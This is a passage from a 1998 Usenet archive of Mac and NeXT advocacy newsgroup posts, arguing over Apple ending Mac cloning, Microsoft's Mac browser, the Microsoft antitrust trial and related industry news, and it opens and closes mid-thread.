: magazines (Power Computing had one ad in one PC magazine towards the end),
: and selling through Mac mail-order companies.
UMax was supposedly the exception, especially with its presence in
Asia (not including Japan) UMax was killed too. Daystar with the MP
machines was killed too. It didn't matter whether you tried anything new
or not, SJ didn't want clones, and off came their heads.
: If Compaq had only sold to preexisting IBM customers, and if Dell and
: Gateway had only sold in Compaq dealerships, their stories would have been
: much different.
Compaq did sell to existing IBM customers until the early '90s.
: --
: Chad Irby \ My greatest fear: that future generations will,
: cirby@magicnet.net \ for some reason, refer to me as an "optimist."
--
davewang@kagututi.kecl.ntt.co.jp.I.like.green.eggs.and.ham,not.spam
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: nice essay - a billion desktops
Date: 17 Nov 1998 15:56:33 GMT
Organization: Primenet (602)416-7000
Message-ID: <72s6bh$dfl$1@nnrp03.primenet.com>
There is a nice essay over at freshmeat:
http://editorials.freshmeat.net/ajay981115/
Computing is becoming a world phenomenum. The author raises the
interesting point that the inexpensiveness of Linux could give it a
billion desktops in less affluent nations.
Even if the billion number falls short, I thing the demographic trend
should be considered. It might mean for Apple that world wide share will
never again go up.
I'm sure Apple can continue to make a business in affluent countries, but
even there some customers might prefer a world platform.
John
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: New date for OS X Server?
Date: 16 Nov 1998 17:49:41 GMT
Organization: Net Squared, Inc.
Message-ID: <01be1188$01ce14e0$06387880@chewy>
Stepwise's weekly OS report is announcing a WebObjects 4.0 seminar
series beginning Dec. 1 (of this year :-). Since the new WebObjects
and MacOS X Server for PowerPC are often linked (at least in this
newsgroup) for a joint release, I wonder if this heralds a release date
for OS X?
http://www.stepwise.com/StepwiseReport/November15_1998.html
http://www.seminars.apple.com/series/webobjects/
http://www.seminars.apple.com/series/webobjects/register.html
Todd
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Steve Jobs Movie Mogul
Date: 16 Nov 1998 17:54:54 GMT
Organization: Net Squared, Inc.
Message-ID: <01be1188$bc9b4770$06387880@chewy>
See the following link for the full story:
http://www.businessweek.com/1998/47/covstory.htm
Summary below from Internet Movie Databas (IMDB)
http://us.imdb.com/StudioBrief/ 13 Nov 1998 edition
"STEVE JOBS MOVIE MOGUL"
[top] Pixar/Apple chairman Steve Jobs will grace the cover of next
week's Business Week, which, in a cover article titled "Steve Jobs,
Movie Mogul," comments: "What he's planning is nothing less than
building Pixar into a movie studio for the 21st century--one that will
rival Disney for the hearts and minds of families around the world. In
a sense, the influence he's seeking is as pervasive as what he sought
when he founded Apple Computer Inc.: He wants Pixar to tell the stories
that children grow up with--the Snow Whites, Mary Poppinses, and Lion
Kings for future generations. 'I think Pixar has the opportunity to be
the next Disney -- not replace Disney -- but be the next Disney,' he
says."
Todd
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 12:41:37 -0500
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Chad Irby wrote:
>
>
> No. But can you produce the text of the lawsuits that those companies
> would have filed versus Apple if *your* side was correct?
Actually, that's probably not that hard to do. If you will recall, the
CEO of Power Computing (who is now the CEO of Micron), Joel Kocher (sp?)
had quite a bit to say as did Motorola at the time. As I recall, they
were livid and made many public statements to the effect that Jobs had,
in effect, double-crossed them by reneging on the *signed*
pre-agreements they had already executed (and invested in) with Amelio.
Power was bought off (after kocher resigned) and Motorola took a 90
million dollar charge and elected not to sue but to take it out of Jobs'
hide a penny at a time on the Power PC they continue to sell Apple. Had
Motorola (the parent company) not had an alternate route to recover its
income, and had Power Computing elected to keep Kocher on and let him
fight as he had wanted, I can guarantee you'd have seen some suits out
of the whole sorry mess.
>>
> Let's see... UMAX is a fairly huge industrial conglomerate (making a lot
> more than just computers and scanners), and hardly "tiny" under any
> definition. Motorola is, by any measure, much larger than Apple, and
> holds the keys to Apple's core business due to their production of most of
> the PPC chips.
>
> "Small and tiny?" Right.
You've forgotten that these Mac-clone companies were *spin-off
companies* set up separately by their large parent companies. The parent
companies were not involved in these ventures. Yes, the actual companies
were quite small compared to Apple. I see that you neglected to mention
Power Computing, the really small company with no parent company, and
the company Apple feared most of all.
>
> That's right. But it's more complex than that. Most of those clone
> machines were in the higher-end category, with faster processors and
> better accessories. In other words, they were competing with Apple's
> high-end computers, and eating away at the area where Apple has
> historically made the most profit. Not to mention that there were tying
> up some of the "fast" PPC stocks, right when Apple needed all they could
> get to supply their production lines.
Yes! Apple couldn't compete with the clone companies on the high-end,
which is where the profit is! You are exactly right. The cloners beat
them to market with faster, more powerful systems at lower cost and with
better warranties. Apple couldn't compete so it crushed out the
competition. Now, everyone who wants to buy Mac can comfort themselves
with much longer product cycles, mediocre warranties, and paying more
for less. Again, it was *never* stipulated in any clone agreement that
the "cloners take the low-end, low profit" market while Apple keeps "the
profitable part" to itself. In the pre-agreements signed by Amelio,
Power Computing and these other companies were also going to be able to
clone laptops. It's foolish to think that any of these companies would
ever have signed on as an Apple-cloner to clone for the least profitable
part of the market. No one but a dunce would have done that. No one ever
did.
What really puts the lie to all of that malarkey from Apple is the iMac.
Is the iMac what you call the "high-end, profitable" part of the market?
Of course not. But the only reason Apple can make *any* money from the
iMac is that Apple is selling it in a vacuum--there's no iMac
competition, is there?
...'Nuff said....
>
>
> Your whole argument is that the cloners were tiny little Mom-n-Pop
> organizations, while it's really obvious that they weren't.
>
I never said they were "mom & pops"...What I said was that *compared to
Apple* they were tiny, and they were. The Mac clone companies affiliated
with Motorola and Umax were *separate companies* which were *small
change* compared to Apple itself. Last, you always leave out PowerCC,
seemingly because you know that that company wasn't even loosely
affiliated any large company. The irony is that PowerCC is the company
Apple (Jobs) feared the most.
You know, it never ceases to amaze me how even experienced Mac fans can
so easily and quickly completely forget the pertinent details of the
company's history. I guess it's the RDF at work, is all I can figure. Go
figure...
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 12:53:22 -0500
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"Todd Heberlein (todd at NetSQ dot com)" wrote:
> Jonathan, I largely agree with you, and what makes the government's job
> difficult is that the issues *are* fuzzy.
>
I agree completely...:) The issues are fuzzy. And if they are fuzzy to
us, imagine how "hairy" they must seem to Judge Jackson and the group of
DOJ big-lawyer-wannabe's at the center of all of this...:) I'd be
surprised if many of them could give me a good solid definition of the
differences between ram disks and floppy disks. And these are the guys
putting technology on trial. Whew...What I'm afraid of is that this is
going to lead to even more computer-industry ignorant government
involvement which could very well wind up hurting everybody, not just
Microsoft.
>
> It is funny to think a *long* time is a little over two years (IE 3.0,
> the first real competition to Netscape, shipped in Aug. 96).
>
> I guess that is Internet Time for you. :-)
>
Yep, I know what you mean. The pace of change I've seen in the last
three years just about equals everything I saw happen in the previous
ten years, if it doesn't surpass it. It's like a blur...:)
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 18:05:55 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72ppi3$qmu$1@nnrp1.dejanews.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com> <tbrown-1211981902390001@mv196.axom.com> <364C8CF8.9A3394D5@spamtoNull.com> <tbrown-1311981850220001@mv180.axom.com> <364D94FF.88D501D@spamtoNull.com>
In article <364D94FF.88D501D@spamtoNull.com>,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>> I never said MS did it against their will. You stated that MS gave Apple
>> a browser worth millions. They didn't, they made a Mac Browser to finish
>> a deal they made with AOL. They gave AOL a browser worth millions. Apple
>> had nothing to do with it, other than agreeing to use it as the default
>> browser in the Mac OS.
>
> OK, so if I understand you, then, your position is that Microsoft doing
> a Mac browser for AOL did nothing for the Mac, but only benefited AOL
> and Microsoft.
That's not what he said. Regardless of whether Apple benefits by a Mac
version of IE, Microsoft and AOL certainly benefitted as well.
> Have you thought about the fact that since this made AOL
> I-browsing just as accessible to Mac users as to PC users, that with
> first-time-buyers and newbies in general this might have made them feel
> more comfortable purchasing a Mac instead of a PC?
Nope-- Netscape has a Mac version of Communicator that's comparible in terms
of features and functionality to IE.
>> Now if you're really asking, 'Does the AOL agreement insist that MS
>> provide Mac IE free to the rest of the world?" Probably not. But, the
>> cost has already been paid. The extra cost of having IE up for download
>> and of transmitting a golden copy to Apple is quite mimimal (It's
>> certainly not 'millions').
>
> Again, if your assumption that doing IE for the Mac benefits MS more
> than Apple, I'd just encourage you to think again...
Why? What evidence do you have that doing IE for the Mac does not benefit MS
more than Apple?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 16:07:46 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1711981107070001@pm51-46.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com>
sal@panix.com wrote:
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >Right. Sworn testimony by two people with a long history of
> >anti-Microsoft bias.
>
> Compaq is "anti-Microsoft"?
Compaq is *very* anti-Microsoft, even more so than Apple. I've met enough
upper-level folks from both companies, and the level of active dislike for
MS in Compaq is startling. It's pretty much the same in the other clone
companies, and in most Windows-based software companies.
The more people work with Microsoft, the more they hate it.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 13:09:02 -0500
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Rick wrote:
>
>
> You dont think at all.
> --
Translated, this means: "You don't think at all because if you did you'd
agree with me."...:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 13:20:41 -0500
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Ted Brown wrote:
>
>
> No, that is not an adequate summation of my position. I've made no
> statements of how much Mac IE helped Apple, as it's beside the point.
> Competition is good, I'm glad that MS made IE. Even though I don't use it
> currently, I still directly benefit from it's existence.
Why is it that each and every time something that Microsoft may have
done that benefits Apple is mentioned it is deemed "beside the point?"
I don't use IE, either, but have always preferred Netscape's approach to
browsing. However, I often wonder if I would enjoy Communicator as much
as I do if there had never been an IE. As you say, competition is a good
thing, and prior to IE, Netscape had none.
I think that every positive thing Microsoft has done regarding Apple has
a whole lot of relevance--certainly as much relevance as the rumored,
not so obvious things Microsoft has supposedly done to hurt Apple.
>
> I think if I had to follow your track, I'd have to say that AOL gave Apple
> a browser worth millions, not MS. It's the AOL-MS deal that required MS
> to make Mac IE. I don't know if they would have made it w/o the deal, I
> do know that the deal made it happen.
If you can show me the documents where AOL said: "Unless you do a Mac
broswer we won't do the deal" I'll go along with you. My own thinking is
that MS had either already decided to do a Mac IE, or else was already
doing it, so this wasn't an issue for them at all.
>
> I just take exception to viewing Mac IE as an act of charity on MS's
> part. It wasn't charity, it was part of the price to get AOL to switch to
> IE.
I didn't say anything about charity. AOL doesn't offer charity to Mac
users, either. What I don't think are accurate are all of these notions
that Microsoft takes the blame for rumored offenses against Apple, but
never gets any credit for what it does to support Apple. Charity has
nothing to do with it. Support does.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 13:01:02 -0500
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Organization: EarthLink Network, Inc.
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Rick wrote:
>
> Settlement? The case was thrown out of court. The judge sais even IF all
> of Ms. Jones allegations were true, there was no workplace sexual
> harrassment. Get a clue.
You haven't watched the news lately? Clinton barfed up $850,000 to Ms.
Jones (I think that's the right amount) just a couple of days ago. You
need to get out more...:)
####################################################################
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 13:07:46 -0500
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Organization: EarthLink Network, Inc.
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Rick wrote:
>
> > (2) Microsoft did not try very hard to kill it, if they ever tried to
> > kill it at all.
>
> Microsoft tried to kill off QT. read the sworn testimony.
>
Right. Sworn testimony by two people with a long history of
anti-Microsoft bias. Bill Clinton lied about sex, why wouldn't they lie
about Microsoft? (hey, that's pretty good!...:))
Aside from that, you've got some scanty emails several years old that
few can remember having written or read. It's a "This is my
interpretation of what I think somebody (other than the low level person
I was talking to) at Microsoft meant when
that-person-who-didn't-have-the-authority-to-do-it said in private
meetings and in private correspondence...yadda,yadda,yadda."
Oh, yea...Hot Stuff...:)
corner, and the fate of
the world does not in our hands rest...:)
From: WStreett@shell.monmouth.com (Wilbur Streett)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Mon, 16 Nov 1998 18:42:26 GMT
Organization: Monmouth Internet
Message-ID: <3650718d.219425427@news.monmouth.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <3648abc2.502343982@news.monmouth.com> <72e6pn$mun$1@52-a-usw.rb1.blv.nwnexus.net> <364c4f66.172317930@news.monmouth.com> <72htho$dk8$1@52-a-usw.rb1.blv.nwnexus.net> <364dbd37.42187332@news.monmouth.com> <CB3C61E916296351.8A15E7E5D1B425C6.ACB9EC9DA5C6124C@library-proxy.airnews.net>
Alan <Spamless@In.Seattle> wrote:
>"Bill told us...we would have to deal with Kildall."
>"I asked Bill if he would make an appointment for us."
>
>Sounds like he's sending them to DR to me. Jack could walk up to Gary
>and say "Bill sent us." But Gary would already know that since Bill
>made the appointment.
"I asked Bill.. "
The impetus is with Jack, not Bill..
And you seemed to have missed that they were already looking for CP/M..
Wilbur
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 13:43:10 -0600
Organization: Ericsson Inc.
Message-ID: <3650804E.936482E6@exu.ericsson.se>
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gupta@knim.tm.tta.moc-mirror, after, @ wrote:
[cut]
> Apple, and Microsoft, can act out of self-interest, but within the law.
> That is why there is a prosecution of Microsoft (it allegedly did not
> act within the law). Whether it is guilty or not remains to be seen.
Loud and clear. My question to you: What if the law itself is unjust?
The judicial review process that helped to create such unjust
legislation would be equally empowered to destroy it, no?
As I have said, it is *not* simple. This is about more than just whether
or not Microsoft broke any laws. Under a system of judicial review the
status quo and an active court system cannot coexist. The outcome of
this case has little to do with Microsoft. We will either see a clear
court mandate for increased governmental intervention in private lives
and circumstances, or we will see a rejection of same. Personally, I
don't care what happens to Microsoft. I care what happens to our
freedom.
That's the principle-based approach. There's also a practical approach,
which demonstrates the truth of principle. Mitch Ratcliffe, going "out
on a limb", predicts that if the US Government wins against Microsoft
that the growth of the Information Technology sector of the economy
could suffer a "40 percent to 50 percent slowing" and the Bull Market
would collapse.
The simplistic treatment given in Giddings' 'article', and Chuck
Swiger's applause of same, are discouraging, to say the least. They
indicate not only lack of understanding but loud and proud lack of
understanding.
MJP
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 10:39:01 -0500
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Charles Swiger wrote:
>
> Why? What evidence do you have that doing IE for the Mac does not benefit MS
> more than Apple?
>
IF Apple had said to Microsoft, "Let us use IE as our default browser
and we'll buy $150 million of Microsoft stock and keep it three years
before we sell it," I'd be inclined to agree with you...
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 11:07:09 -0500
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David Kurtz wrote:
>
> In article <36503E09.44F638ED@spamtoNull.com>, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
>
> > It's actually very simple. We *know* that Apple tried and succeeded to
> > shut down Apple cloning. That is an undisputed fact. We don't know that
> > "Microsoft tried to kill Quicktime" but we do know that Quicktime is
> > *still around* (whereas there's absolutely no question as to the fate of
> > Mac clone companies.) The Apple Mac-cloning massacre is evidenced by
> > clear and unambiguous public record. The "unsuccessful attempt" by
> > Microsoft to "kill" Quicktime is supported by a tenuous few emails years
> > old (which were *not* public record) and the testimony of Anti-Microsoft
> > bigots who have made the "Microsoft made us do it" slogan the entire
> > basis for explaining their assorted mistakes and failures throughout
> > their careers (and they don't even *work* for Microsoft.) Further, all
> > of Apple's public actions were *consistent* with a deliberate effort to
> > destroy Mac cloning. Microsoft's public actions toward Apple are
> > completely inconsistent with the hypothesis that Microsoft was trying to
> > "kill" anything at Apple.
>
> 1. Apple is not on trial for anticompetitive/monopolistic behavior.
> Microsoft is.
>
> 2. You would have a point if QuickTime was a Microsoft technology
> contracted or licensed by Apple. However, this is not the case; your
> analogy is very weak and you are left without an argument.
>
I have a point anyway, because in the post above I was answering a
question put to me: namely, how could I criticize Apple for killing Mac
cloning and support Microsoft for "attempting" to kill Quicktime. I
think I answered the question well. It had nothing to do with who was
"on trial."
The truth remains and is clearly evident: we *do* know that Apple killed
cloning because it's a matter of public record and the clone companies
are all out of business. We cannot say, however, that we *know* that
"Microsoft attempted to kill Quicktime" because there is *nothing* in
the public record about it, and Quicktime has not been killed.
Very elementary logic.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 10:59:19 -0500
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gupta@knim.tm.tta.moc-mirror, after, @ wrote:
>
>
> It has never been demonstrated either, that cloning increased the
> Macintosh marketshare by even a smidgen.
That's right, and here's why:
(1) Apple did very little to grow the concept of the "Mac market" as a
viable alternative to the Windows market during the short, miserable
lives of the Mac clone companies.
(2) The Mac clone companies were still in their infancy when Jobs killed
them off (infanticide.) Two years in the life of a brand new clone
company is barely time enough to learn how to walk instead of crawl. The
simple truth is the Mac market as an open, cloning market was destroyed
before it ever got off the ground. Look at the successful X86 clone
companies like Dell, Compaq, and Gateway--it took them far longer to get
anywhere and there were a lot of bumps and struggles along the way.
>
> Since you are talking about demonstrations and proofs, what demonstration
> is there that "Jobs has not been able to abide cloning for personal,
> philosophical reasons". What are these reasons ? Where in the public
> record are these expressed ? If they aren't there, how did you get your
> insight into Jobs' motives ? By magic ?
My friend, what further proof do you need? The entire cloning massacre
was orchestrated and engineered by Steve Jobs! That's all a matter of
public record!
>
> >a way of making demands on the parent company and that's not the way
> >Jobs works. He simply can't work in a cooperative environment of equals,
> >or even near-equals. Unless he's in a dictatorial position, he simply
> >can't function. The idea of cooperating with clone companies for the
>
> Again, demonstrate.
Jobs has already demonstrated it grandly. It's hard to believe you
weren't looking when he did. You're probably one of those folks who
thinks that Jobs' explanation of his actions is more important than his
actions.
>
> During that period, Apple was going to be taken over, or was going to
> go out of business in virtually every news and opinion piece published.
> "Embattled" and "Apple" became synonymous. Customers don't buy in such
> circumstances. They need to believe that the company will be around for
> a few more years.
>
> Under those circumstances, no cloning effort was going to succeed.
> Jobs, through reality-distortion fields, astute management, iMac gamble,
> whatever, has managed, against the odds, to make Apple's viability seem
> a little more credible. One of the things Jobs did was to shore up
> Apple's revenues against erosion by clones, which helped in making Apple
> seem viable.
>
> It is a fragile situation -- Apple could very easily slip and tumble down
> the staircase of skepticism again.
>
I see that you've forgotten the $50 million to $100 million dollars a
quarter Apple was receiving in royalties from the cloners, along with
the fact that the cloners had agreed to a DOUBLING of the fees they'd
pay Apple--and Jobs killed them off anyway. If Jobs had been a real
visionary, he would have seen an expanding Mac market with the cloners
as *partners* to grow that market. Instead, as has been oft quoted, Jobs
idea of Mac clone companies was to call them "leeches and parasites" and
drive them all out of business in one way or another. The smallness of
Jobs' vision is easily apparent--Jobs sees the Mac market as big enough
for only Apple. That's a pretty narrow-minded point of view.
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 16 Nov 1998 19:30:00 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <72pufo$goo@newsb.netnews.att.com>
References: <364295A3.ABE8C927@earthlink.net> <364CA67E.6C5A5121@exu.ericsson.se> <72k3jj$68e@newsb.netnews.att.com> <3650804E.936482E6@exu.ericsson.se>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@Ericsson.com> wrote:
>
>Loud and clear. My question to you: What if the law itself is unjust?
>The judicial review process that helped to create such unjust
>legislation would be equally empowered to destroy it, no?
If the law itself is unjust, then it is upto us to change it.
After all, unjust laws concerning more serious matters (slavery,
institutionalized racism and apartheid, etc.) have been tackled.
>As I have said, it is *not* simple. This is about more than just whether
>or not Microsoft broke any laws. Under a system of judicial review the
>status quo and an active court system cannot coexist. The outcome of
>this case has little to do with Microsoft. We will either see a clear
>court mandate for increased governmental intervention in private lives
>and circumstances, or we will see a rejection of same. Personally, I
>don't care what happens to Microsoft. I care what happens to our
>freedom.
Each murder trial also carries the potential for increased government
intervention in private lives or a rejection of same. That doesn't
mean that we should not have murder trials. It means that if the courts
do not ignore the defendant's rights, then we the people have to work
for reform.
>That's the principle-based approach. There's also a practical approach,
>which demonstrates the truth of principle. Mitch Ratcliffe, going "out
>on a limb", predicts that if the US Government wins against Microsoft
>that the growth of the Information Technology sector of the economy
>could suffer a "40 percent to 50 percent slowing" and the Bull Market
>would collapse.
Another of those what is good for GM is good for the US arguments.
I would argue that Microsoft's delay of Windows NT 5.0/2000 and
Intel's delay on Merced will have more to do with slowdowns in the
growth of Information Technology than any government action.
>The simplistic treatment given in Giddings' 'article', and Chuck
>Swiger's applause of same, are discouraging, to say the least. They
>indicate not only lack of understanding but loud and proud lack of
>understanding.
That is a matter of opinion, not fact.
-arun gupta
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 16 Nov 1998 19:46:51 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <72pvfb$hcs@newsb.netnews.att.com>
References: <364295A3.ABE8C927@earthlink.net> <cirby-1411980253120001@pm61-25.magicnet.net> <72keje$dud@news1.panix.com> <36505AFF.467AC9DC@spamtonull.com>
Originator: gupta@tlctest
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
>As far as I am concerned it has never been demonstrated that killing
>Apple cloning was "necessary" to Apple's survival. At the time cloning
>was killed Apple had around 90% of the Mac-compatible market to itself
>anyway. In these days since cloning was killed we've seen layoffs,
It has never been demonstrated either, that cloning increased the
Macintosh marketshare by even a smidgen.
>factory closings, and asset sales *anyway*. Jobs has never been able to
>abide cloning for personal, philosophical reasons. Clone companies have
Since you are talking about demonstrations and proofs, what demonstration
is there that "Jobs has not been able to abide cloning for personal,
philosophical reasons". What are these reasons ? Where in the public
record are these expressed ? If they aren't there, how did you get your
insight into Jobs' motives ? By magic ?
>a way of making demands on the parent company and that's not the way
>Jobs works. He simply can't work in a cooperative environment of equals,
>or even near-equals. Unless he's in a dictatorial position, he simply
>can't function. The idea of cooperating with clone companies for the
Again, demonstrate.
>shared goal of broadening the entire Mac market was simply too foreign a
>concept for Jobs to digest. What's particularly funny about all of this
>is that while the cloners + Apple were working to grow the market, Jobs
>declared that such growth was impossible. Now that the cloners are gone
>Jobs once again thinks its possible for the Mac market to grow and Apple
>is spending huge gobs of money to accomplish that. I can't see how
>cloning prevented them from doing that anyway, which is why the whole
>thing is such a joke.
During the cloning period, Apple lacked what Microsoft's Halloween
document calls "Long Term Credibility".
Quoting from there :
Long term credibility exists if there is no way you can be
driven out of business in the near term....A product is
long-term credible if FUD tactics cannot be used to combat it.
During that period, Apple was going to be taken over, or was going to
go out of business in virtually every news and opinion piece published.
"Embattled" and "Apple" became synonymous. Customers don't buy in such
circumstances. They need to believe that the company will be around for
a few more years.
Under those circumstances, no cloning effort was going to succeed.
Jobs, through reality-distortion fields, astute management, iMac gamble,
whatever, has managed, against the odds, to make Apple's viability seem
a little more credible. One of the things Jobs did was to shore up
Apple's revenues against erosion by clones, which helped in making Apple
seem viable.
It is a fragile situation -- Apple could very easily slip and tumble down
the staircase of skepticism again.
-arun gupta
From: david_@ucla.edu (David Kurtz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 11:58:18 -0800
Organization: Independent sentient carbon-based unit
Message-ID: <david_-1611981158180001@s188-236.resnet.ucla.edu>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <364C7F15.42A8C263@spamtoNull.com> <72k841$caq@news1.panix.com> <36503E09.44F638ED@spamtoNull.com>
In article <36503E09.44F638ED@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> It's actually very simple. We *know* that Apple tried and succeeded to
> shut down Apple cloning. That is an undisputed fact. We don't know that
> "Microsoft tried to kill Quicktime" but we do know that Quicktime is
> *still around* (whereas there's absolutely no question as to the fate of
> Mac clone companies.) The Apple Mac-cloning massacre is evidenced by
> clear and unambiguous public record. The "unsuccessful attempt" by
> Microsoft to "kill" Quicktime is supported by a tenuous few emails years
> old (which were *not* public record) and the testimony of Anti-Microsoft
> bigots who have made the "Microsoft made us do it" slogan the entire
> basis for explaining their assorted mistakes and failures throughout
> their careers (and they don't even *work* for Microsoft.) Further, all
> of Apple's public actions were *consistent* with a deliberate effort to
> destroy Mac cloning. Microsoft's public actions toward Apple are
> completely inconsistent with the hypothesis that Microsoft was trying to
> "kill" anything at Apple.
1. Apple is not on trial for anticompetitive/monopolistic behavior.
Microsoft is.
2. You would have a point if QuickTime was a Microsoft technology
contracted or licensed by Apple. However, this is not the case; your
analogy is very weak and you are left without an argument.
--
David Kurtz -- remove the underscore from my email address to reply
PGP key and more... http://www.lightside.net/~david/
From: david_@ucla.edu (David Kurtz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 12:05:26 -0800
Organization: Independent sentient carbon-based unit
Message-ID: <david_-1611981205260001@s188-236.resnet.ucla.edu>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72k83q$caq@news1.panix.com> <36503958.78D07B59@spamtoNull.com>
In article <36503958.78D07B59@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Apple as
> a company seems to dote on the near computer-illiteracy of many of its
> users--heck, Apple doesn't just dote on that, Apple exploits the hell
> out of it.
Microsoft has built an empire on the backs of computer novices. Sheer
numbers suggest that in comparison, Apple's 'exploitation' is a drop in
the bucket. Who's exploiting whom? As Dave Winer likes to say, BOGU. Has
Microsoft been hanging around your Back Orifice today?
--
David Kurtz -- remove the underscore from my email address to reply
PGP key and more... http://www.lightside.net/~david/
From: david_@ucla.edu (David Kurtz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 12:12:31 -0800
Organization: Independent sentient carbon-based unit
Message-ID: <david_-1611981212320001@s188-236.resnet.ucla.edu>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <F2DB5F.H0r@T-FCN.Net> <72nbdt$1lg$1@cronkite.cs.umd.edu> <F2Iux5.1Jz@T-FCN.Net>
In article <F2Iux5.1Jz@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> If I sell you a bag of powdered sugar and you buy it thinking it's coke,
> you're guilting. The thinking part isn't what you did wrong, it was buying
> something you thought was...
Drug laws don't count. You can be relieved of all worldly possessions
without any form of due process if a LEO with adequate rank "thinks" that
